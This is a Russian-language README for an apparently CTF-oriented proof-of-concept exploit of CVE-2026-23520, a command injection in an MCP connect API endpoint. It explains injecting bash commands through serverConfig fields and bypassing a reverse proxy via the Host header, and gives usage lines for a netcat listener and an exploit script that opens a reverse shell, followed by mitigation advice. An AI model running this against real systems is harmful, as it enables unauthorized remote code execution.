
🎓 Образовательный PoC для CVE-2026-23520. Лаборатория анализа уязвимостей и контролируемого смягчения. 🧪
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данный репозиторий и содержащиеся в нём скрипты предназначены строго для образовательных и академических целей.
Предоставленная информация предназначена для помощи специалистам по безопасности, системным администраторам и студентам в понимании механики уязвимостей внедрения команд и маршрутизации виртуальных хостов в контролируемых лабораторных средах (например, на платформах Capture The Flag).
Никогда не используйте этот инструмент против любой системы, сети или инфраструктуры без явного письменного разрешения владельца. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
Данный репозиторий содержит Proof of Concept (PoC) для эксплуатации CVE-2026-23520 в контексте реализации Model Context Protocol (MCP) в определённых стеках приложений (например, Arcane v1.13.0).
Уязвимость представляет собой классическое внедрение команд (Command Injection). Конечная точка API (/api/mcp/connect) принимает JSON-нагрузку для настройки нового подключения к серверу. Нагрузка включает объект serverConfig, содержащий поля и .
commandargsПоскольку приложение не выполняет должную санитизацию этих полей перед выполнением на операционной системе хоста, злоумышленник может подставить вредоносные bash-команды (например, reverse shell) вместо легитимного пути к сервису.
Во многих реальных или CTF-развёртываниях простая отправка эксплойта на основной IP-адрес приведёт к ошибке 404 Not Found. Это происходит потому, что уязвимый компонент (например, MCPJam Inspector) размещён за обратным прокси-сервером (например, Nginx), который маршрутизирует трафик на основе заголовка Host.
Данный PoC отличается от стандартных эксплойтов тем, что явно позволяет пользователю указать виртуальный хост (vhost) для обхода правил прокси-маршрутизации и прямого попадания на уязвимое приложение.
Этот скрипт требует Python 3 и библиотеку requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
Примечание: Ошибка «Read timed out» является ожидаемой и указывает на то, что reverse shell был успешно выполнен и удерживает соединение открытым.
Администраторам следует убедиться, что они используют последнюю пропатченную версию программного обеспечения. Если установка патча невозможна немедленно, ограничьте доступ к конечной точке /api/mcp/connect и обеспечьте строгую валидацию входных данных для всех параметров serverConfig.